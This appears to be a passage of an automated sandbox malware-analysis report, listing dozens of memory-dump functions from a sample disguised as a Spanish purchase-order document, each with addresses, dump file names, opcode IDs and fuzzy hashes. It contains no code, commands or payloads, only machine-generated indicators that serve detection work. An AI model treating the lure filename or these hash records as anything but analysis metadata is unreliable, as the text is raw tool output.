                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e707284a4c9a77719583d71fe249a7a8ede28a06eef5f1c87c6d2847d0fc4c09
                                                                                                              • Instruction ID: 07a9cc52c8d8ecf171bfda216bce121fca50b731b455a76ac1f8827b0191b6e8
                                                                                                              • Opcode Fuzzy Hash: e707284a4c9a77719583d71fe249a7a8ede28a06eef5f1c87c6d2847d0fc4c09
                                                                                                              • Instruction Fuzzy Hash: CB316EB0E1424DDFDB44CFA9C55069EBBF6FF86300F1585AAC019AB292D7349A41CB81
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE073D Relevance: .1, Instructions: 79COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: cc5198b254b984d163c410e206030ed51f7e167852fcda72bab6bc0b1a4a2ca6
                                                                                                              • Instruction ID: 2868ff16f421e121c32ce45dae45e50446494c1d2335bf180a9755551eacb146
                                                                                                              • Opcode Fuzzy Hash: cc5198b254b984d163c410e206030ed51f7e167852fcda72bab6bc0b1a4a2ca6
                                                                                                              • Instruction Fuzzy Hash: AE311C35F002048FDBA4DB64D584A9DBBF6EF88711F544068D806AB265DB71EC51CF60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE0BA9 Relevance: .1, Instructions: 79COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1eb7955a7f7312bf6a22f282e7e3b27fddcdd2a81f1a5659cf851a0c163bb2d7
                                                                                                              • Instruction ID: 305e0a76a276206c90b96c957636aba4a40d20605dc21e67e436b0b3af072ff6
                                                                                                              • Opcode Fuzzy Hash: 1eb7955a7f7312bf6a22f282e7e3b27fddcdd2a81f1a5659cf851a0c163bb2d7
                                                                                                              • Instruction Fuzzy Hash: F9118134F047108B9BA62639982463E3AEBDFC59517580069E906DB390DF68CC13C7F2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730FCD8 Relevance: .1, Instructions: 78COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 548ad4ee3ecfe50121177cfd073a6d44575f4d9f0650dc919f38bba1b4f71d2d
                                                                                                              • Instruction ID: 2ae86c3ed11ade6f0e56d0f6c27dbac61c81ebf893cb0d21709c9dce52493c59
                                                                                                              • Opcode Fuzzy Hash: 548ad4ee3ecfe50121177cfd073a6d44575f4d9f0650dc919f38bba1b4f71d2d
                                                                                                              • Instruction Fuzzy Hash: 7F2191B1E00209DFEB54DBB4E8687EEB7B6EF88310F105029D406A72D8DB355D02CBA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730AE98 Relevance: .1, Instructions: 77COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2e2da8471456a5d649e2cf1310f2f919171b2c621a073f17969f2d24d5ab5a26
                                                                                                              • Instruction ID: 0a27074ea8f7d9dd771b7f70532a302a72a63bb9c523001b9435bbca4df4bc98
                                                                                                              • Opcode Fuzzy Hash: 2e2da8471456a5d649e2cf1310f2f919171b2c621a073f17969f2d24d5ab5a26
                                                                                                              • Instruction Fuzzy Hash: 0B21CF6281F3E01FE313AB38A8752D67F708E53525B0A41D7D4D4CE4A3E5184A8DC7AB
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEDF58 Relevance: .1, Instructions: 76COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: eaf615f26d53d4460d95f5651bf114dce6f7d8abdac1c4de6658dfed16bc0e82
                                                                                                              • Instruction ID: ff12bf63be2d173b6f4324eea0e9bfce5429ad8e32e784607980b5621853f006
                                                                                                              • Opcode Fuzzy Hash: eaf615f26d53d4460d95f5651bf114dce6f7d8abdac1c4de6658dfed16bc0e82
                                                                                                              • Instruction Fuzzy Hash: 73213231E106198FCB41EFB8D4446ADBBF4FF89210F04416AE519E7260EF749945CB91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00A6D4C4 Relevance: .1, Instructions: 75COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1389962646.0000000000A6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A6D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_a6d000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1587cd2d01ffd87787c886ca50f176d1c214a06434a158c30906e8a6dff2c979
                                                                                                              • Instruction ID: 5e99aa00115151a2b70b12729b2f6d4e525f80d45651c443cd104447f5cc2c2e
                                                                                                              • Opcode Fuzzy Hash: 1587cd2d01ffd87787c886ca50f176d1c214a06434a158c30906e8a6dff2c979
                                                                                                              • Instruction Fuzzy Hash: 03213072A04240EFDB15DF10D9C0B26BF71FB88368F20C569E80A0F656C336D806CAA2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00A6D3D8 Relevance: .1, Instructions: 75COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1389962646.0000000000A6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A6D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_a6d000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: fe65d6ec6d5b9f8648c6bd4a311d3694ac8ce408fc176f1ffc38bde1e75041d5
                                                                                                              • Instruction ID: 448e1df9929bdf2f06452da0980b52d1717ab1aee360561ceda5de4bf17272e5
                                                                                                              • Opcode Fuzzy Hash: fe65d6ec6d5b9f8648c6bd4a311d3694ac8ce408fc176f1ffc38bde1e75041d5
                                                                                                              • Instruction Fuzzy Hash: C12145B1A04244DFDB14DF00D9C8B16BB75FB98364F20C169E8090F246C736EC46CBA2
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730BED0 Relevance: .1, Instructions: 75COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 6be2a2e0ef8198251ac50d91e3355bed93b67e3bb0cae91e352de5d30c89c85a
                                                                                                              • Instruction ID: b94c755f45128db863a3275730248fe27d3867b16cf3bca78686d7a3b0b5a6a0
                                                                                                              • Opcode Fuzzy Hash: 6be2a2e0ef8198251ac50d91e3355bed93b67e3bb0cae91e352de5d30c89c85a
                                                                                                              • Instruction Fuzzy Hash: 5221AFF5D1621A8FDB00DFA4C9106EEF7B9EF8A300F108925D40877281EB306E468BE1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07306ED8 Relevance: .1, Instructions: 73COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: fd2eb4bd11c2b9a0d5dff411100bf90715f0730c9e55c2046d650152d65514b3
                                                                                                              • Instruction ID: 47b2d220f4b026b3227fafb5d4e69fdb1f11ec0db03b24a00c42389326804219
                                                                                                              • Opcode Fuzzy Hash: fd2eb4bd11c2b9a0d5dff411100bf90715f0730c9e55c2046d650152d65514b3
                                                                                                              • Instruction Fuzzy Hash: BC1136B1A013168FDB12EB798C211BFBBF6EFC5210715046AE458D7281EB30890583A1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07301493 Relevance: .1, Instructions: 72COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9f816a07e82407ef135e89127a377ab05edd706b03b17e53ee4fedae0de1a2d6
                                                                                                              • Instruction ID: 81e08f75a602a57eefc48c557f472bd8d12425b2808c28a08140a3c58ab35b5f
                                                                                                              • Opcode Fuzzy Hash: 9f816a07e82407ef135e89127a377ab05edd706b03b17e53ee4fedae0de1a2d6
                                                                                                              • Instruction Fuzzy Hash: 292128B4E05209EFDB44DFA9D4515AEBBF6EF89300F10C0AAD809E7355E7348A018F91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00A7D1D4 Relevance: .1, Instructions: 72COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1390237461.0000000000A7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A7D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_a7d000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 0e939c03746fe6d9644b32bc27cc6028818d450c658881f02132f0747b7dd3f7
                                                                                                              • Instruction ID: 8b3693d6b88f29cc9a445ecdcc860d7a9389c96d4772a89865d2e8bb50239cb8
                                                                                                              • Opcode Fuzzy Hash: 0e939c03746fe6d9644b32bc27cc6028818d450c658881f02132f0747b7dd3f7
                                                                                                              • Instruction Fuzzy Hash: 5C21D071A04200AFDB15DF10D9C0B66BBB5FF84314F24C6ADE84D4B292C336D847CAA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00A7D01C Relevance: .1, Instructions: 72COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1390237461.0000000000A7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A7D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_a7d000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 9971fbab7685116e28321e6fa6039b69fc2e4091a89c059c9331652fab1b5206
                                                                                                              • Instruction ID: c03f7bb186eb4da826fd7410eaf076bd59627ded5c6e2a0cb5671b02d6c376d5
                                                                                                              • Opcode Fuzzy Hash: 9971fbab7685116e28321e6fa6039b69fc2e4091a89c059c9331652fab1b5206
                                                                                                              • Instruction Fuzzy Hash: D221B075604244DFDB14DF14DD84B16BB75EF84314F24C56DD84E4B296C336D847CA62
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FEEED8 Relevance: .1, Instructions: 71COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d1b9d16708f932116bafba98299e1aaa877e382527ba25abd4b1ae0113afb6ec
                                                                                                              • Instruction ID: 6b33e93a5807e815625ad1080ec95f3152245870e7b78bdedef9ec38d9b98f91
                                                                                                              • Opcode Fuzzy Hash: d1b9d16708f932116bafba98299e1aaa877e382527ba25abd4b1ae0113afb6ec
                                                                                                              • Instruction Fuzzy Hash: B7219F716016058FCB54DF2CC8407D5FBE2FF89324B18C6BAE509DF386EA74A8498B90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730C2E8 Relevance: .1, Instructions: 71COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: cae4c0fbd5b1e3cd9ea0c00cbb4c201eb08cb48dd456ec64bc01551702c0ee78
                                                                                                              • Instruction ID: 28965318b2283b31f9fb2e6c07941c9f26aa684e332cca9c04a9ca73c1e46296
                                                                                                              • Opcode Fuzzy Hash: cae4c0fbd5b1e3cd9ea0c00cbb4c201eb08cb48dd456ec64bc01551702c0ee78
                                                                                                              • Instruction Fuzzy Hash: C921EBB4D18209DFDB44CFA9C5505EEBBF9AB4A300F506195D409A7752C3359E40CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730709C Relevance: .1, Instructions: 70COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e00900cbc37e7d4cefcf5d3330d3269e1ad3f248ba189ef03328ee6fa5ceaa8c
                                                                                                              • Instruction ID: 3d431682f6254a93433b66a2beb230bc099604b61ccf6ade0529bb6fdb89e990
                                                                                                              • Opcode Fuzzy Hash: e00900cbc37e7d4cefcf5d3330d3269e1ad3f248ba189ef03328ee6fa5ceaa8c
                                                                                                              • Instruction Fuzzy Hash: 3531E2B0D013599FEB24DFA9C545BCEBFF5AB08314F24801AE448AB290C7756945CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE58D2 Relevance: .1, Instructions: 68COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: d8162cf3d47811a2d4562648357b6bf51c1bf898c0301e2d9b472d2e104c8990
                                                                                                              • Instruction ID: b84696b9ce2a378273c1d4ac14d36c9aa8752b093fd376ff9017d4f695c9be78
                                                                                                              • Opcode Fuzzy Hash: d8162cf3d47811a2d4562648357b6bf51c1bf898c0301e2d9b472d2e104c8990
                                                                                                              • Instruction Fuzzy Hash: 02117271B05740DFC7796B388C04559BBA6AF86239324477DD0798B6E4CB36D842CB40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FF6387 Relevance: .1, Instructions: 67COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401835335.0000000006FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FF0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6ff0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 3d907bd32c9bea4cddc0997c581e8955b4d6e3e596d837c819805b6e08f7921f
                                                                                                              • Instruction ID: dbefd20617e2c7986bd0ab6f96d6e4b68065bee4d0ed31af8f6b1e315e54c781
                                                                                                              • Opcode Fuzzy Hash: 3d907bd32c9bea4cddc0997c581e8955b4d6e3e596d837c819805b6e08f7921f
                                                                                                              • Instruction Fuzzy Hash: 69112233E207218BDFA4ABB1CCA627A7BA2BFC5611F19846EDA41C3271DF349405C791
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07306B90 Relevance: .1, Instructions: 67COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: fdfd1f58cbfd77bfca6e5171785c3dafb48e83a46b764f78f88ab76dbfacd642
                                                                                                              • Instruction ID: 5b6bf83911e31f2fba13f8e7b1b53504107d51428bb5922a82f18af8b395c94f
                                                                                                              • Opcode Fuzzy Hash: fdfd1f58cbfd77bfca6e5171785c3dafb48e83a46b764f78f88ab76dbfacd642
                                                                                                              • Instruction Fuzzy Hash: 9631F4B0D01218DFEB24DF99C544B8EBBF5AB08314F248019E408BB280C7756945CFA5
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE9F18 Relevance: .1, Instructions: 66COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c044b5da7c0b81e4569b348f360a84a19bbdded2f15823f06344b913014f82ee
                                                                                                              • Instruction ID: 14394e429c48ef264765162c64504f9fa3de4f040bb8aff875d5696b1c393726
                                                                                                              • Opcode Fuzzy Hash: c044b5da7c0b81e4569b348f360a84a19bbdded2f15823f06344b913014f82ee
                                                                                                              • Instruction Fuzzy Hash: 27118F357142509FC744DB3AD898869BFEAAF8961131580AFF502CB372CAB4DC05CB60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730C9B8 Relevance: .1, Instructions: 66COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 8d2bcf5acec632f30dec83c10305fd0bb8283d5f672cb9531f380a123dd8be96
                                                                                                              • Instruction ID: a87f8130fb00ecaa0dc2ddb643e8b39f771128c42a6f71a9d434783fc287c9ac
                                                                                                              • Opcode Fuzzy Hash: 8d2bcf5acec632f30dec83c10305fd0bb8283d5f672cb9531f380a123dd8be96
                                                                                                              • Instruction Fuzzy Hash: 8B213BB4A25258CFDB60CF58C9A4AECB7B9FF0A300F509585D50EA7281C730AD80CFA0
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FE7B14 Relevance: .1, Instructions: 65COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: c3586eed733f592730bda3e386a4cb087bd83a2d96b6091d801e6ddcc34b8bec
                                                                                                              • Instruction ID: ea47215e058dee9b46a8a4efec4758acac2d35a359659652b8bca91efd8ed657
                                                                                                              • Opcode Fuzzy Hash: c3586eed733f592730bda3e386a4cb087bd83a2d96b6091d801e6ddcc34b8bec
                                                                                                              • Instruction Fuzzy Hash: FD119472F0910BEFCB916A95DA485ED7FB4EB40341F604CA6D149B2284E23086368FD6
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730BEE0 Relevance: .1, Instructions: 65COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 637aa8a6261f292bcf4d41fb94b25cf05bc772816cc7893e32f002844b298d1a
                                                                                                              • Instruction ID: 735dd87c01d048a5428b209fbc1eba1b3f07e38952b1b09b97c4f67daf6262cd
                                                                                                              • Opcode Fuzzy Hash: 637aa8a6261f292bcf4d41fb94b25cf05bc772816cc7893e32f002844b298d1a
                                                                                                              • Instruction Fuzzy Hash: 33215EB5D1121A8FDB00DFA8C9106EEF7B9EF89300F208525D50977781EB706E468BE1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730B910 Relevance: .1, Instructions: 65COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 315c964e7a9207de935318152dc7ab89b610ebea468ab50edf2f0a9b8f761140
                                                                                                              • Instruction ID: 89c10621f7dc0d01248164d25b9cb8c8c732625c6bf9eb3c21d4de856241d295
                                                                                                              • Opcode Fuzzy Hash: 315c964e7a9207de935318152dc7ab89b610ebea468ab50edf2f0a9b8f761140
                                                                                                              • Instruction Fuzzy Hash: 9D21EAF4D102488BEB58DFAAC9546EEFBF6AF89300F14C02AC419AB294DB740946CF40
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0730C9A1 Relevance: .1, Instructions: 64COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e8232b232ce971488937dadf6ad37795bba45beffd8ef8cb4b598fd95443260b
                                                                                                              • Instruction ID: 82ddc92101b714293ce94b1c36d524312220c2c8ee5d32d0fc2682fe27668810
                                                                                                              • Opcode Fuzzy Hash: e8232b232ce971488937dadf6ad37795bba45beffd8ef8cb4b598fd95443260b
                                                                                                              • Instruction Fuzzy Hash: 53213CB4A25218CFDB10CF94C5A49ECB7BAFB4A301F60A655D40EAB785C334AD45CF91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 06FECCB8 Relevance: .1, Instructions: 63COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1401783984.0000000006FE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FE0000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_6fe0000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 51d4d579b4a5be65745c78983e47ff8abe2c5be0c61b33f39e2a2a4cf06a2c1b
                                                                                                              • Instruction ID: cb40cd2d75e091cb905f43aa8e5f5d852ce35a5d4775480928203485d6c98303
                                                                                                              • Opcode Fuzzy Hash: 51d4d579b4a5be65745c78983e47ff8abe2c5be0c61b33f39e2a2a4cf06a2c1b
                                                                                                              • Instruction Fuzzy Hash: AF214C31900708CFCB14FF68C9556EEBBF2AF49300F00896DE4667B254EB35A948CBA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 07306D0C Relevance: .1, Instructions: 63COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000002.00000002.1402390659.0000000007300000.00000040.00000800.00020000.00000000.sdmp, Offset: 07300000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_2_2_7300000_Solicitud de pedido Documento No 168646080.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 1dfe9b1f43a3e69a59716513280b42a3c7e6a7bc78a2ea466044635a9bbe6e80
                                                                                                              • Instruction ID: 322f20a248fc7ee8c963985a5ea9e28db86c10a1e351704c4c91a08b8b1a960e
                                                                                                              • Opcode Fuzzy Hash: 1dfe9b1f43a3e69a59716513280b42a3c7e6a7bc78a2ea466044635a9bbe6e80
                                                                                                              • Instruction Fuzzy Hash: 131106B0B09348DFEB09DB74C8219AD7FF89F83100B1048EAD84AC7692E9358D169361
                                                                                                              Uniqueness

